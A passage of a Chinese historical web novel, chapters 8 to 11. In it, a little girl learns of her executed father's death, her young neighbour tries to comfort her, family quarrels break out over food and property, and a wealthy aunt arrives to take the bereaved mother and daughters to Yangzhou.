8. 第 8 章
目送棺木远去,展青芒咬着糯米糕,对走过来的江祈年小声说:“那花花好漂亮的,我也想要。”
江祈年:“……那是死人才用的东西,不吉利。”
展青芒神色茫然一瞬,问:“死人是什么人?”
两个小孩儿大眼瞪小眼,片刻,江祈年说:“就是要住那个木棺的人,再也见不到的人。”
江祈年已经记不得阿爷长什么样子了,可他记着,那日阿爷被爹和叔叔们抬进了这样的大盒子里。他不想让阿爷睡在那里,但二哥抱着他说,阿爷死了,人死了都要躺棺材的,以便安葬。
展青芒傻愣着,嘴巴里的糯米糕都忘记吃了,眼睛一点点的睁圆,茫茫然道:“那我阿奶也死了……我阿奶睡着两个木棺啊……”
江祈年嘴唇动了下,犹豫片刻,在她说到被阿娘抱着,朝两副棺木磕头时,他小声说:“一个是你阿奶,一个是你阿爹。”
展青芒:!
茫然空洞的眼睛转过来看着他,她像是只没有眼睛的娃娃。
江祈年太小了,他说不清此刻心里的难受,正皱着眉毛绞尽脑汁的想安慰她的话,却猝不及防的被重重推了一把,脚下不稳的后退了两步。
展青芒哭了,嚎啕大哭着说他骗人。
手里没吃完的半个糯米糕啪叽掉在了泥坑里。
“我阿爹没有死!他会回来的!”
“你胡说!”
展青芒哭得太用力,短短时刻眼睛鼻头都红了,反驳完,她转身往家跑。
江祈年下意识的跟随两步,在街边行人好奇的目光里,又手足无措的停下。
他被讨厌了。
可他也没有骗人啊。
展青芒哭着回来,委实吓了王娘子一大跳。她慌手慌脚的从屋里出来,“怎么了这是?”
“棺材……棺材……”展青芒哭得停不下来,“阿奶的棺材……呜呜呜……让阿爹回家……”
王娘子心头一惊,抬眼便与站在撑开的窗棂前的展青玉对上了目光。
展杳出事以来,她们有心瞒着,谁都不曾与展青芒说过。只有那日老太太过身,展杳尸身敛于棺椁,王娘子抱着她对着两幅棺木磕了头,便匆匆让人将小闺女送回了家去,守灵也好,安葬也罢,她再无来过。
这么些日子了,展青芒时常念叨阿爹何时回家,王娘子心酸难过,却也没说。偏今儿知晓了,不知是哪个长舌的,对着个几岁的孩子说这些闲话。
王娘子心下微恼,却是一时没个主意,不知是趁此言明了好,还是粉饰几句哄过去的好。
犹豫间,展青玉从房中出来了。
天色未因时辰而放明,依旧昏沉着,乌云一朵压着一朵,大有倾盆之势。
小姑娘抱着人脖颈,哭得抽抽噎噎,委屈极了。她问阿姐,“阿爹怎么还不回家呀?”
展青玉轻拍着她后背,“想爹了?”
展青芒胡乱抹着眼泪,可还是看不清阿姐,但她点头,眼泪随着动作乱飞。
展青玉用绢帕替她擦脸,眼泪几乎浸湿了整张帕子。她神色平静,又问:“想阿娘吗?”
“阿娘在……”展青芒瘪着嘴说。
“可是爹的阿娘不在了,他也想阿娘了,去找他的阿娘了。”展青玉说。
“可我想他呢……”展青芒委屈的说着,眼泪从眼眶里涌出。
展青芒年纪小,可也不是未开智的时候了,她从阿姐的话里听出了。
小财神没有骗她。
小孩儿哭闹,或是惹人厌烦,或是让人不忍。展青芒是后者。她不闹,却是哭得让人心尖儿都颤。
王娘子在旁侧,单薄的双肩颤抖,掩唇无声的落泪。
“那就去看看他吧。”
后来,展青玉说。
……
江旌带着儿子和徒弟们押镖回来时,正赶上瓢泼大雨刚下,被浇了一头。杨雁拎着十来条白巾子过来,一人扔了一条,“快擦擦,别染了风寒。”
宽阔的厅堂,挤着大大小小的,说话声呜呜喳喳的比外面的雨声还吵。
杨雁索性拆了江旌挽着的头发,白巾子往脑袋上一罩,呼噜着擦。江旌也不动,一张脸被遮着,他闭着眼跟妻子低声说话。
“带回来两箱子布料,你给大郎二郎媳妇儿都分一分,剩下的,给老二老三和阿婉送去……”
他没说完,就被杨雁打断了,“还用你吩咐。”她把罩在他脑袋上的白巾子一扯,又说:“先喝碗姜汤发发汗,蓉娘在厨下热饭呢。”
姜汤是早备着的,就怕这几个爷们儿回来淋着雨,身上的雨水将擦,沈碧玉就拎着一桶姜汤过来了。
姜汤的热乎气儿,渐渐将堂屋的冷雨驱散了,飘着一股甜丝丝的香气。
“瘦了啊。”江祁川端给大哥一碗,一拳怼在对方肩上。
与他宽肩窄腰的青年模样不同,江祁山已经逐渐有了江父沉稳的气质,腰背宽阔,看着四平八稳的。
江祁山也不计较这一拳,吹着烫舌的姜汤,边侧目看他一眼,“你倒是长胖了。”
江祁川:……
堂屋里吵得很,江祈年安安静静的坐在末端的椅子上,垂着眼皮看啪啪啪的雨。
没一会儿,就听江旌喊他。
江祈年扭头,走了过去,就被他爹抱在了膝上。
江祈年:……
他又不是小孩子了。
他挣了挣,没挣脱,然后就不动了。
江旌有仨儿子,老小是他跟妻子老来得子,刚怀上的时候,还以为是个姑娘呢,两人稀罕得够呛,后来生了个小子,说不上失望,顶多是有点失落罢了。江旌两口子对这小儿子也疼的厉害。出门俩月,江旌这会儿抱着小儿子有点稀罕不够,从吃食问到功课,然后往他小手里偷偷塞了两锭银子。
江祁川眼尖得要死,当即嚷嚷:“还是小儿子惹人疼啊,我们这种的,靠边儿站都碍眼。”
被老子一记眼刀瞪过来。江祁川嘴巴又说:“给他那么大一锭银子,那羊肉锅盔的小店饶钱都费事儿。”
江祈年当听不见,将那好大的银子费力塞进自己的袖袋里。
唔……有点硌。
“就你话多。”杨雁骂一句,“去帮你大嫂端饭去,让她注意着些,如今是双生子了,别滑倒。”
江祁川手一扬,大有一呼百应的架势,带着一群问东问西的小孩儿去厨下端饭了。
江祁山怔忡:“蓉娘有了?”
“是啊,你要当爹了。”杨雁说,“还不稳当
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呢,一个个儿别出去乱嚼,走路也慢点儿,仔细冲撞着她,要我知道你们谁磕着碰着你们大嫂,我可不饶。”
“知道啦……”
满屋的半大小孩儿拖着调子应。
旁边站着的沈碧玉听得悄悄翻了个白眼儿,心里泛酸,到底还是姑侄做了婆媳亲近。
也近晌午了,菜摆了两张八仙桌,才勉强挤着坐下,满桌都是呼噜呼噜吸溜面条的声儿。
吃饱喝足,才算舒坦。众人或坐或靠,有些犯食困。
外面的雨还在下,江旌将此趟押镖所得的银子都拿了出来,出工的分八成,没出工的分剩下的两成,这是他们镖局百来十年的规矩。
杨雁没掺和这事,领着俩儿媳妇儿将江旌他们带回来的几口箱子开了。
“这料子真鲜亮。”蓉娘抿唇笑着说。
“咱们上京的东西也不差,但这料子说到底还不如人家江南的好看,这色儿好看,料子也软和。正也开春儿了,你们俩挑两匹,裁了衣裙穿,看着也高兴。”
蓉娘:“娘先挑吧。”
杨雁摆摆手,“你们挑,挑你们喜欢的,剩下的再给他们分。”
沈碧玉听不得这姑侄俩你来我往的推让,她出声道:“那我先挑。”
蓉娘/杨雁:……
沈碧玉也不管杨雁的脸色,在箱子里翻了翻几匹料子,又看看花色,最后选了一匹银红烟罗绢,一匹桃粉绣花的绫缎。她刚要抱着走,就被杨雁喊住了。
“那匹银红的,给你大嫂吧。你另选一样。”杨雁道。
看看!
看看!
偏心眼儿!
沈碧玉满腹怨怼,抱着不撒手,看向旁边神色温婉的蓉娘,“大嫂有了身子,裁衣裙阔了些,等到生产后都不合身了,这样好的料子若是压箱底了,太可惜了。”
杨雁一听这话就来了气,“照你这话,吃了也要拉,不如勒紧肚子躺着等死罢。”
“娘……”蓉娘朝她轻摇首,眼眸清台,与沈碧玉道:“弟妹穿这样的鲜亮色定然好看,这匹银红绢你用吧。”
沈碧玉不领情,哼了声,抬脚就走。她才不要看她们姑侄俩相亲相爱。
“听听她说的什么话!”杨雁气不打一处来,“她家是开衣料坊的,哪儿稀罕这点儿东西,不过是瞧你性子软欺负你,你也是不争气……”
蓉娘看着她笑,“都是一家人,争那个闲气做甚,我瞧着这匹海棠缎子就很好。这匹烟蓝的,给娘裁身新衣,出门吃酒穿,娘喜不喜欢?”
沈碧玉听着那隐约的声音,抱着料子回了西跨院。
江祁川已经回来了,靠在榻上闲适的翻看一卷杂书。
“咚!”
沈碧玉将料子往榻上一扔,气闷的说:“我们也生个孩子!”
江祁川听得好笑,“急什么?娘催你了?不能啊……”
沈碧玉过来,往他身上一压,噘着嘴唇满脸不高兴。
馨香入怀,江祁川合上书,换了个姿势平躺着,手臂搂着那抹细腰,“怎么了这是?”
沈碧玉咬着唇,半晌,道:“我们分家吧。”
雨下到傍晚时方停,翌日出了太阳。
而江祈年连着三日,没在街角等到展青芒。
9. 第 9 章
“吃饭的时候出门玩儿,这会儿捡剩的凉的吃,你仔细吃坏了肚子……”杨雁念叨着。
江祈年坐在门前的石头上,啃着包子不吭声,无甚表情的脸上藏着忧愁。
江祁川晾了衣裳晃过来,瞅着他直乐,欠嗖嗖的状似惊讶道:“哟,这是门口的羊肉锅盔不好吃?”
江祈年看他一眼,慢吞吞的转开了眼睛,不搭理。
“还是人家小姑娘不跟你玩儿了?”江祁川笑眯眯的又问,哥俩好似的,往他旁边一坐,沉甸甸的胳膊搭在人家小小的肩膀上,煞有介事的论道:“定是你小气,爹给了你那么大两锭银子,你就请人家吃个锅盔。”
江祈年啃着菜包,心说阿芒才不是因为此事恼呢,她都不知道阿爹给了他银子……又想,若只是这样简单就好啦。马婆婆家的烧鹅做得很好吃,他想跟她一起吃呢。
“你把银子交给二哥,二哥带你们去樊楼吃好吃的。”江祁川信誓旦旦的说。
江祈年白眼儿翻了过来,脸上皆是无语凝噎。“骗我银子,告诉爹揍你。”
“嘿!小兔崽子不知好歹。”江祁川哼声道。
不听不听……
江祈年头都不转的喊:“娘——”
紧跟着,厨下传来杨雁的骂声。
“江祁川你又皮痒了,都什么时辰了,还不赶紧的去铺子看顾生意!”
“啧。”江祁川大掌罩住告状的小屁孩儿脑袋好一顿揉搓,末了,评论一句:“半分都不可爱。”
江祈年眼风半点儿不动,正要张嘴,手里吃了一半儿的菜包就被抢走了,他咬了个空。江祈年颇为无语的抬头,看着他二哥叼着半拉包子拍屁股走人。
厨下,沈碧玉和杨雁正收拾碗筷。
蓉娘有了身孕,闻不得荤腥,可偏家里的爷们儿个个儿都离不得肉,一顿不吃都得念叨。杨雁大手一挥,说蓉娘且先不用忙厨下的活儿了。
沈碧玉心里呕得泛酸水儿,昨儿拉着江祁川努力半宿,恨不得今儿就能揣个肚子才好。
杨雁说得好听,也不用她做什么,可她一个做人家儿媳的,哪儿能在婆母做饭的时候,张着嘴等吃?传出去没得让人说她们沈家教出的闺女不像话。沈碧玉心高气傲惯了,可丁点儿受不得这份闲气。
江祈年进来拿包子,在笼屉里没找到,与旁边刷碗的沈碧玉问了一句。
沈碧玉本就心里不痛快,阴阳怪气道:“莫不是又要拿出去给旁人吃?不是我说你三郎,你当是家里有多宽裕,自个儿倒是出去当善财童子了,可想过爹娘兄嫂吃没吃饱……”
杨雁倒完泔水,进来就听见这么一句,心里的火气蹭蹭的冒。她手里的泔水桶往院子里一扔,进来就骂:“我真是给你好脸多了,还敢克扣小叔子吃食了!你娘家多大能耐啊,教出的姑娘要上天!我这当婆婆的还没蹬腿儿呢,你倒开始作威作福了,这家里的打今儿起,都听你沈五娘的差遣,看你沈五娘的脸色过日子呗!”
沈碧玉被斥得脸青一阵红一阵,几番想张嘴,都愣是没插上话。杨雁嗓门儿大,街坊邻里的怕是都听见了……越是想,沈碧玉脸越是涨得通红,里子面子都丢了个精光。
“娘说的这严重,我何曾说过这话了?”沈碧玉又气又恼,替自个儿辩解道:“我不过是想着,那样拳头大的包子,男人们也不过才吃两个,小叔年纪小,万一吃得顶住了,晌午怕是吃不下饭……”
杨雁冷笑,“呵,打量别人都是瞎子、聋子,听不见看不见你那点儿针尖儿大的心眼儿?”
被当面戳破,沈碧玉脸色也不好看,索性话往白了说。“我哪句说错了?咱家是那宽裕的吗,早晨我煎饼子多倒点油,娘你都要骂人,那三郎拿着家里的钱,出去给旁人话,我说两句怎的了?”
“你承认就好,”杨雁呵了声,“三郎那钱是你公爹给的,你若心里有怨气,你自找他说去。我今儿还就告诉你,给了三郎的银子,他怎么花用那是他自个儿的事,他是自个儿吃了喝了也好,还是给别人吃喝了也罢,我都不操心,也用不着你个当嫂子的惦记。”
“至于你,你要真有能耐,教唆着你男人自立门户去,往后你一顿饭别说用二两油,就是油桶倒空了,我也不会多说一个字。但这家里如今且还是我当家,那就要照着我的规矩,你就是不服,也给我憋着。”
沈碧玉被骂得抬不起头,脸色难看得要命,一气之下撂下没洗完的碗筷,快步离开了厨下。出来时,正好遇着显然是听着了动静,匆匆过来蓉娘。
“弟妹……”蓉娘喊了声。
沈碧玉没应答,擦着身快步走过,眼泪哗哗的夺眶而出。杨雁今儿这话,比往她脸上扇几巴掌更甚,沈碧玉自小也是被爹娘呵护着长大的,别说刷碗,就是做饭都很少,多是闲时做些四时糕点给家人品尝,饶是如此,也要被亲娘担心磕着烫着,何曾受过这等屈辱?
“娘,怎的还吵起来了?”蓉娘过来,低声问道。
“别进来你,地上有水仔细滑倒了。”杨雁赶紧说,她捡起沈碧玉刚扯掉的腰帷系好,坐过去刷碗,“自你有孕,她就鼻子不是鼻子,脸不是脸的,成日里扯着张丧门星的脸,也不知是给谁脸色瞧。我又没催她跟老二,跟我使什么劲儿,摔摔打打的,我能惯她那毛病?我是不做恶婆婆的,但当儿媳妇儿的没规矩,那也得敲打敲打,就今儿,那刚刚,都敢克扣三郎的口粮了,多大心气儿啊她……”
蓉娘站在门前,看一眼坐在石头上的小叔子,轻声道:“三郎没吃饱啊,我房里有你大哥买的点心,你去看看喜不喜欢吃,放了有两日了,再放着怕是要潮了,你去帮嫂子吃去。”
江祈年抬头看她,默了片刻,点点头,站起身往东跨院走。
厨下地上有水,蓉娘也没敢进去,温声劝道:“娘,往后还是我跟你做厨房的活儿吧,弟妹那双手是抚琴的,刷碗做饭可惜了。”
“你就老实吧,”杨雁恨铁不成钢道,“若不是你那继母为着填补她娘家的窟窿,你何至于早早的去人家府上当厨娘?二郎媳妇儿是不擅长厨下的活儿,可有谁是生来就会的?她当姑娘时,在家里如何娇生惯养的,我不关心,她跟二郎怎么弹琴怡情的,我也不关心。但她进了咱们家的门,就要守咱们家的规矩。你有了身孕受不得累,我才让她来帮衬一二,等过些时日她有了身孕,这些活儿我自也不会让她做,但她动辄甩脸子,使小性儿,说出去我这做婆母的都没脸。”
说着,杨雁又叹了声气,“实则,我也不光是为着这事儿。三郎看着小,其实比他两个哥哥都聪明,又打小是个锯嘴葫芦,嘴上什么都不说,但事儿都往心里搁。今儿给老二媳妇儿指桑骂槐的骂了一通,我要是不言不动,只怕他明儿吃个馒头,都要先看过沈碧玉的脸色。”
杨雁也不是不心疼小儿子花出去的银子,小孩子不知柴米油盐贵,只知道那街上的糖葫芦几文,烧腊肉几文,不知道他吃的烧鹅,够家里十几口人两顿的吃用。想到这儿,杨雁又笑,“听老二说,三郎这几日都跟着一小姑娘扫街吃饭,那小姑娘长得跟年画娃娃似的。”
年画娃娃这会儿在烧火,两条眉毛像是下过雨的蚯蚓,皱皱巴巴的。
药罐子架在火上咕嘟咕嘟,展青芒揣着手坐在小板凳上看着,灶房里尽是汤药的苦涩味道,她闻着,觉得自己也苦苦的。
房里,不时地传来几声咳嗽。阿姐说,阿娘是因为太难过了才病倒的。但展青芒偷偷觉得,大抵是因为她哭闹不止。
火苗渐小,展青芒谨慎地添了一根柴火,正观察,忽的听见啪啪拍门声。她跑过去拉开门闩,就看见了大伯和堂哥。
“人呢!都给我出来!”
展大粗声粗气的吼。
“我阿姐买鱼去了!”展青芒也大声回。
展大:……
来得不巧啊。
可声势都燥起来了,断然没有戛然而止的道理。
展大:“你娘呢,喊她出来!竟敢偷藏我展家的家财,还躲来了这儿!”
“没有!”展青芒挺着胸膛,气得推他一把,“是你们霸占了我家的院子,坏人!”
一大一小,当门对峙,很快的引来了围观热闹的街坊。
“这都是我
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家的家财,你们两个女娃日后都是要嫁人的,要那么多家资做甚,还不是要带到别人家去?”
展青芒不服,“都是我的!”
“阿芒,这是谁啊?”
“就是,这谁啊,在别人家大呼小叫的。”
“王娘子还病着,你就是有天大的事,也烦请改日。”
街坊们一人一句劝道。
展青芒想起自家的旧屋,委屈从心中来。阿娘先前说,那是她们的院子,不是吧大伯的。但阿爹不在了,如今那院子也不是她们的了。堂姐住着她的屋,指不定多乐呢……
“他是我大伯,他是我大堂兄,这是二堂兄,”展青芒伸着手指头,小表情又委屈,又气愤,“他们都是来抢我家的院子的!”
小孩儿虽小,但口齿伶俐的很。
王娘子拖着病体出来,也愣是没插上一句嘴,净听展青芒叭叭儿的说她们的院子被如何抢走了。
……
“他们还摔我家茶盏,都没了……”
“我家的桃子树也变成他家的了,我都没有桃子可以吃了。”
“我给你买。”
忽然一句小声。
展青芒:?
她大大的眼睛充满疑惑,脑袋一扭,看见了挤进来一颗脑袋的江祈年。
“一家子亲戚,还是亲兄弟,竟是这样逼迫你兄弟媳妇儿,怕不是良心都被狗叼了去!”
“就是,先占了人家的大宅子,这会儿连这孤儿寡母栖身的小院子也要抢,天底下怎的还有你这样的人,当真是枉为人。”
“赶紧走,仔细告你去衙门挨板子!”
愤慨激昂,眼瞧着都要提棍拿铲了。
展大:“展杳受皇命被斩首,我娘八十高寿,活生生被他气死了!这等忤逆不孝的东西,就是死了也是活该!我老子娘要是还活着,那是定要将他逐出族谱的!更别说是家财!这几个不要脸的小畜生,竟还敢私藏家资,你们去衙门告啊,看看官老爷是先杖我,还是先打死这两个罪臣家眷!”
王娘子脸唰的惨白,额间冒着冷汗。
罪臣家眷……
简单几个字在舌尖碾过,重得怕是能压死人。
人声嘈杂,议论纷纷。
展家的事,在巷子里有些风言风语,但也并未人尽皆知。但过了今日,怕是无人不知了。
老百姓都讲究日子安稳,说起皇命来,还不如风调雨顺来得亲近。这事儿真真实实的发生在身边,许多人都神色发懵。
展青芒被终于挤进来的江祈年两手捂着耳朵,有些不明所以。
“官家都宽恕了她们一家子,既没有刑罚,也没有没收田产,你当得哪门子官老爷,上人家家里颐指气使,又要逐出族谱,又要抢夺家资?好生不要脸。”
“就是,你若真有能耐,大可上衙门去,让那判官大人替你做主,在这儿吆五喝六的好生霸道,怕不是惊堂木一响,你且先被吓尿了裤子!”
这话惹得众人哄堂大笑。
展青芒也听见了,但她不解其意。她扯扯江祈年的衣服,软乎乎的嘴巴一张一合,打商量道:“你松开好不好,我也想听热闹呢。”
江祈年:……
“哎!那是谁家的马车?堵在巷子口了。”
“看着好生气派,这谁家亲戚?”
“都是亲戚,怎有的就不是人呢。”
展大:?
旁边几人给展大使眼色——今日不顺,改日再战吧。
展大有些犹豫,今日这一通,也不知足以让展青玉满意不,人迟迟不见回来。他顺着众人的目光,看向那高头骏马的马车,当日混迹官场时,这样的马车不少见,但在这平头巷子里,就显得扎眼了。
巷子里拥挤的街坊自发让出路来,容那马车进来。少顷,却见那马车停在了众人跟前,暮山紫的帘子掀开,一直未曾露面的展青玉提裙出来,踩着护卫摆好的脚凳下了马车。她扫一圈众人,未言,转身伸手去扶身后打扮华贵的妇人。
王娘子怔忡望着,与那妇人目光对视一瞬,忽而潸然落下泪来。
10. 第 10 章
王家有二女,一名姝,二名婵。王姝容貌清丽,性雅静,嫁了滁州赶赴的举子,后随其外放做官。王婵性怯,多得爹娘照拂,双华之年媒人说亲,嫁京中殷实之家。
二女各嫁,聚少离多,少有见时。自得娘相继离世,匆匆几载光阴,又各有不同。
就车的妇人婢女捧盏,护卫随车。她穿着时下昂贵的海棠锦,鬓发一丝不苟,鬟髻间的钗环顶这巷子里百姓家一年的嚼用,举手投足间气质娴雅温婉,只淡然一瞥,便让这拥挤吵嚷的闹巷在顷刻间消停了。
待得那贵人进了院子,挤作一团的街坊亦是不敢大声言,静看着那位女使呼奴唤婢,从容地吩咐车马行李安置。
“我家夫人是扬州知府正室,亦是二小姐的长姐,此番回京是为省亲,若有惊扰亲邻,还望诸位海涵。”等巷中稍宽,翡翠轻声道,她眉眼一侧,看向展大几人,“此次出门,仆役未带几人,不知可否劳烦几位壮实帮忙牵马?”
不知谁人没憋住,扑哧乐了。
展大一张脸臊得通红:……
他是长得像牵马汉吗!
“自然,自然。”展大憋屈的接过缰绳。
方才还气焰三尺,如今俯首牵马,调转得如此之快,倒是让巷中一众瞧得一大乐。不过,也无人再提方才之事,瞧过乐子便散了。
两个小小人儿站在墙角,展青芒眼疾手快的揪住了江祈年小衫一角,睁着大眼睛茫然问:“你不跟我玩儿啦?”
这话听着很是委屈呢。
江祈年木然站着,低头看看自己被抓皱的衣角,又抬头看看她,懵了。半晌,他低声说:“……我没。”
江祈年说着停顿,又道:“那日是我说错话了,你别生气。”
展青芒是个事儿不往心里搁的小孩儿,但那日哭得太惨,她还记得呢。阿姐带她去看了阿爹,可是,她只看见了那堆得高高的土。
阿爹不会再跟她说话了,也不会再抱她举高高,去够那最顶上的一串糖葫芦。
展青芒想说,小财神没有骗人,她的阿爹不会再回家了。
忽然,阿姐在院子里唤她。
“来啦!”展青芒应着,边扯着江祈年往自家跑,兜着口水说:“我阿姐买好吃的回来啦!”
江祈年欲言又止,还未等开口,已经站在了人家院儿里。
因着护卫奴婢之故,小院儿略显逼仄,刚下过雨,院儿中景色萧条,还未见春华,而那披锦穿绸的母女俩,好似这院中最名贵的花木。
“阿芒来,见过你姨母。”王娘子擦擦泪,朝小闺女招手轻唤。
展青芒也不是害羞的性子,牵着江祈年哒哒哒的跑过去,甜滋滋的唤了声‘姨母’,脑袋一歪,看着她旁边站着的小姑娘,聪明道:“妹妹!”
王姝抿唇笑,“阿芒,这是姐姐。”
展青芒不服,拍着自己的小胸口,理直气壮:“我高!我是姐姐!”
江祈年看一眼她偷偷踮着的脚,默默偏开了脸。
王娘子便无这觉悟啦,蹭的给人从顶高的地儿拉回实处,后脚跟踩着地,“不许胡闹,你云酿姐姐大你一岁。”
展青芒小小叹气,“云酿姐姐,你的珠花好漂亮。”
“阿芒喜欢这个?”王姝笑盈盈的捏了捏她软乎乎的手,“你云酿姐姐还有许多,让她带你去挑几个来,可好?”
展青芒摸着她袖摆上绣着的梧桐花,眨了眨眼,“给我?”不待王姝说什么,她脑袋往前一伸,看向那跟她差不多高的女孩儿,问:“姐姐可愿意?”
孙云酿看她一眼,扭头唤翡翠姐姐,“我的首饰匣子,姐姐收在了何处?”
“姑娘随我来。”
两个小姑娘跟着翡翠去挑珠花,展青芒一蹦一跳,还不忘带着小财神,悄声与他咬耳朵:“你说,我送霜姐姐一枚珠花,她能不能给我一个羊肉锅盔呀?”
江祈年:“……不必如此,我有银子,明日我们去买烧鹅。”
“真哒?”展青芒吃惊的张圆了嘴巴,圆碌碌的眼睛里满是惊喜。
江祈年郑重点头,“有钱。”
“这屋子真破,还小,都不如翡翠姐姐在家里时住的好。”孙云酿迈进屋里,皱着秀气的眉毛、鼻子打量后评判了一句。
展青芒走在她后面,将这句听得真真儿的,一颗心啪叽碎成了两瓣儿。
她正想说什么,却见孙云酿忽然生了悔意,与翡翠道:“姐姐不必拿我的首饰匣子了,”她说着,将自个儿头上的珠花拿了下来,递与展青芒,“你既觉着这个好看,便给你这个吧。”
小姑娘自幼出入的都是锦绣屋,富贵地,见惯了贵人们随手将东西赏给身边的人,将将开智的年纪,不觉把那目下无尘的劲儿学得七八,随手递出的东西,人家就该千恩万谢。
展青芒气得两颊鼓起,接过那枚漂亮珠花扔在地上,重重地踩。“你的珠花真破,真丑!谁稀罕要!”
孙云酿不瞪着展青芒寒酸得只扎着根发绳的脑袋,不可置信道:“你脑袋秃秃,竟还说我的珠花丑?”
展青芒一双杏眼瞪得更圆,气得袖子一撸,就扑上去揍她—
“你才是秃子!”
孙云酿被扑得没站稳,屁股着地咚的一声摔了,疼痛袭来时,还尚且发懵,整个人就被展青芒骑着压住揍了两拳。
翡翠脑中一震,赶忙来拦。“二位姑娘有话好好说,莫言动手,仔细伤着了……”
“翡翠姐姐快快将她拉开!”孙云酿哭喊。
“别打她了……”江祈年也赶忙来拉架,他手忙脚乱的挤在两人之间,将展青芒从人家身上扶起来,突然,屁股被踹了一脚。他一脸懵的扭头,对上了孙云酿也僵住不好意思的神情。
“她还敢踹你!”刚被拉起来的展青芒眉毛一竖,挣着就要再次出征!
江祈年赶紧的将人提溜到院里,小声安慰:“我没事,不疼的。”
他目光诚挚,展青芒却是不信,攥紧小拳头义愤填膺:“骗人!去岁大壮把我扑倒了,我手都流血啦!”
江祈年先是看了眼她的小拳头,然后抬眼问:“大壮是谁?”
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展青芒:“小石榴家的狗!”
江祈年:……
两个小姑娘在房中的动静,到底是惊扰了久别正叙话的姐妹俩。
展青芒屁股对着那边,边啃果子边跟江祈年碎碎念,“我都没用力揍她,还哭得那样大声……”小语调很是不忿。
江祈年咬一口酸得倒牙的三月李,一张稚嫩的小脸皱皱巴巴,扭头看向展青芒,小声说着公道话:“她挨了你两拳……”
“我没用力呀。”展青芒仰起白生生的小肉脸,眼里尽是真诚。
江祈年也看着她,对视几秒,僵着脖颈点了一下头,“好吧。”
展青芒瞧他信了,继续埋头欢喜的吃果子,“她还大我一岁呢,还哭,羞羞脸!”
晚间用过饭,展青芒抱着自己的小枕头去找阿姐睡,遇着正过来的孙云酿,下巴一抬哼了声,像只斗赢的骄傲小公鸡,雄赳赳气昂昂。
上房烛火明亮,那姐妹俩在低语说话,不知这小姐妹并未消弭前怨,倒是大有梁子落定的架势。
阿姐不在,展青芒端着洗脚盆,去打了热水自己洗干净脚丫子,而后滚上床榻,卷了被子不多时便沉沉睡去。
彼时,玉带河对岸的酒楼,酒声喧闹,彩旗昭昭。
二楼对窗的一间雅厢,展青玉正襟危坐,一盏茶水饮尽,堂倌儿领来了她久候的客人,赫然是今日刚在她家闹过事的展大。
展青玉取出一袋银子,递到对面人跟前,“这是先前予伯父的银两。今日过后,你我两家不必再往来。”
展大拿过那沉甸甸的一袋银子,微眯着眼看她片刻,道:“你最好别与我下套,不然,我也不怕鱼死网破。”
展青玉抿一口茶,闻言轻笑,“时辰不早,伯父先行吧。”
展大进来屁股都没坐热,出言警告罢,便拿着银子走了。
展青玉却不急,斟一盏茶,目光透着撑起的窗棂,望向楼外。春日夜风透着凉意,揣了文人墨客一袖。不多时,那道身影便穿过满楼喧嚣,出现在厢房前。
“阿玉……”
“崔郎君来了,坐吧。”展青玉眉眼轻抬道。
风尘仆仆的少年郎,兜了满袖春风,清隽俊朗的面容上神情心疼又难过。崔钟灵被这句陌生的称呼定在于门前,片刻,抬脚踏进房中。
朝思暮念的姑娘在眼前,崔钟灵却是觉得,他们从未隔得这样远过。他张唇,却是千言万语找不着头绪,让人难开口。半晌,他哑声道:“那封信我看过了。”
“我知道。”展青玉斟一盏茶放在他被风吹得发红的手边。
“你在信中所言,我不答应。”崔钟灵说,语气里染了几分急切,在看着她沉着的神情时尤甚,“你我已约为婚姻,只等今岁秋闱罢,我娘便会遣媒提亲,何故悔婚背诺?我不想听你说孝期蹉跎年华的托词,你便为难之处,也要清楚明白的与我说。”
展青玉双眸色浅,此刻平静的看着眼前赤诚的少年,语气无怨怼遗憾,像清风,也似清河,她道:“并无为难,是以,只余托词了。”
11. 第 11 章
月明星稀,巷中已少有动静。
展青玉插上门闩,绕过影壁,院中几间屋舍皆亮着烛火。
她回房去瞧了眼展青芒,替那睡得香香的小姑娘扯了被子盖住小脚丫,转身往上房去。
“……这样大的事,不早早去信扬州,若非是阿玉,我怕是几年不知,从前你在家里时,有爹娘护着,断然没有他们去了,我便不管你了的道理,展家那宅子,阿玉给了他们那一家子也好,你们娘仨这两日收拾收拾,随我一道回扬州去。”
王娘子坐在床边泡脚,被数落几句,不吭一声,听得后面那句,犹犹豫豫道:“我还是想在京城……”
“你好不糊涂,”王姝素手执木梳通发,回头恨铁不成钢的瞪她,“阿玉已过了及笄之年,再因孝期耽搁三年,等到正经寻人家时,媒人稍一打听,妹夫那事瞒不住的,届时能有什么好人家去嫁?扬州离得千山万水之远,有我在,也好替她寻觅个知书识礼、待人谦和的好郎君。你是当人娘的,心里断然不能只念着亡人,也得早早替你一双女儿打算才是啊。”
王娘子嘴唇动了动,想说阿玉先前还说不嫁人呢,再有,崔家钟灵……
门前,展青玉眼睫微垂,看着门缝中的漏光,抬手轻叩两下门。
“进来。”
木门吱呀一声,展青玉迈进房来。
“姨母说得有理,是我想浅了,来日我出嫁,家中只留娘和阿芒在,街坊邻里的闲言碎语且先不论,便是展家那些个时时登门的亲戚来扰,便让人不胜其烦,我是如何都不能安心的,待姨母返程之时,娘带着阿芒一道往扬州去吧。”
王娘子还不及喜,听得后面那句,微楞:“那你呢?”
“钟灵方才来见我,”展青玉垂眸,似少女怀羞,只那双不为人瞧清的眼睛里满是黯淡,“他说,约为婚姻,只待秋闱后来聘。”
王娘子张着唇,半刻无言,踟躇问:“可……你爹……”
展青玉:“爹是因皇命斩首,大罪大逆,若非官家仁慈,还了尸首,如何能入殓安葬?若再守孝期,岂非与皇命有悖?”
此言一出,房中霎时静了,充斥着尴尬、僵持的气氛。
王娘子看着她,眼睛渐渐红了。
“此事便定了,这几日我将爹和祖母留下的田地铺子变卖些,届时娘启程时,一并带着吧。”展青玉说罢,便转身出去了。
王娘子看着房中虚空一点,怔忡半晌,呐呐道:“她从前不是这样的……”
王姝放下木梳,望着铜镜,轻声道:“阿玉长大了,姑娘家能多顾着自己些,这很好。”
--
如意巷。
“大嫂怎么在厨下?我媳妇儿呢?”江祁川回来,喝了瓢凉水,左右没瞧见人,朝旁边从热气腾腾的锅里捡包子的蓉娘问了句。
蓉娘不及答,倒是案板前拌野菜的杨雁冷哼一声,“人家多金贵啊,谁支使得动她?”
“怎的了,又吵架了?”江祁川见怪不怪的问,“玉娘性子是娇些,那也是岳母岳丈宠着的,娘大人大量,何苦与她计较?有什么活儿,您尽管支使我,我都干!”
杨雁没好气得啐他一口,“就长了张讨乖哄人的嘴,滚出去等吃吧。”
江祁川笑,“哪儿啊,我模样也俊,走出去谁不说我长得像娘?”
